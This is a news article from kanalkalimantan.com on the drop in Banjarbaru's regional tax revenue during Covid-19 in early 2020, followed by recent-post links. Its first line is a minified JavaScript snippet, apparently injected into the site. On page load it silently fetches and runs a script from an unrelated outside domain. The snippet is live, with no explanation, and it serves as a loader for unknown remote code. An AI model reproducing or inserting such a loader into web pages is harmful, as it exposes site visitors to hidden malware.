(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Pendapatan Pajak di Banjarbaru Terjun Bebas, Target Tahun 2020 Sulit Tercapai


KANALKALIMANTAN.COM, BANJARBARU – Pandemi Covid-19 sangat berdampak hampir di seluruh sektor pajak di kota Banjarbaru. Maka tak heran, target Pendapatan Pajak Daerah (PPD) di Banjarbaru pada tahun 2020 yakni Rp 126 miliar diperkirakan tidak akan bisa terealisasi.

Menurut Kepala Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Banjarbaru H Rustam Effendi perkiraan tersebut dibuktikan dengan  adanya terjadi penurunan pendapatan pajak selama 4 bulan terakhir. Tepatnya, saat merebak pandemi Covid-19 di berbagai daerah.

Dirincikan, dari Januari hingga April 2020, pendapatan pajak yang masuk hanya mencapai Rp 39,3 miliar. Padahal, jika berkaca di tahun-tahun sebelumnya, kondisi normal pendapatan pajak yang masuk seharusnya sudah menyentuh angka Rp 50 miliar.

“Pendapatan pajak kita dari awal Januari hingga April mengalami penurunan yang sangat luar biasa. Bahkan, bisa dikatakan terjun bebas. Nah, oleh karena itu kita memperkirakan target kita di tahun ini sebesar Rp 126 miliar tidak akan tercapai,” katanya, Selasa (5/5/2020) siang.

Dalam hal ini, hampir seluruh sektor pajak mengalami penurunan akibat pandemi Covid-19. Sebagai contoh, pajak bea perolehan hak atas tanah dan bangunan (BPHTB) yang terhitung sampai pada April baru mencapai Rp 8,6 miliar. Jika pada kondisi normal seharusnya sudah mencapai angka Rp 10 miliar.

Lalu, ada juga pajak restoran yang baru menyentuh angka Rp 7,4 miliar, padahal pada April tahun 2019 lalu mencapai Rp 10 miliar lebih. Dikatakan Rustam, hanya satu sektor pajak saja yang setoran masih stabil yakni Pajak Penerangan Jalan (PPJ).

“Cuma PPJ saja yang stabil setor ke kita. Kalau sektor lainnya, setorannya menurun. Ya, kita juga memaklumi karena dampak Covid-19 begitu luas. Karena itu juga kita tidak yakin taget PPD akan tercapai, menginggat tak ada satupun yang tak tau kapan pandemi ini akan berakhir,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.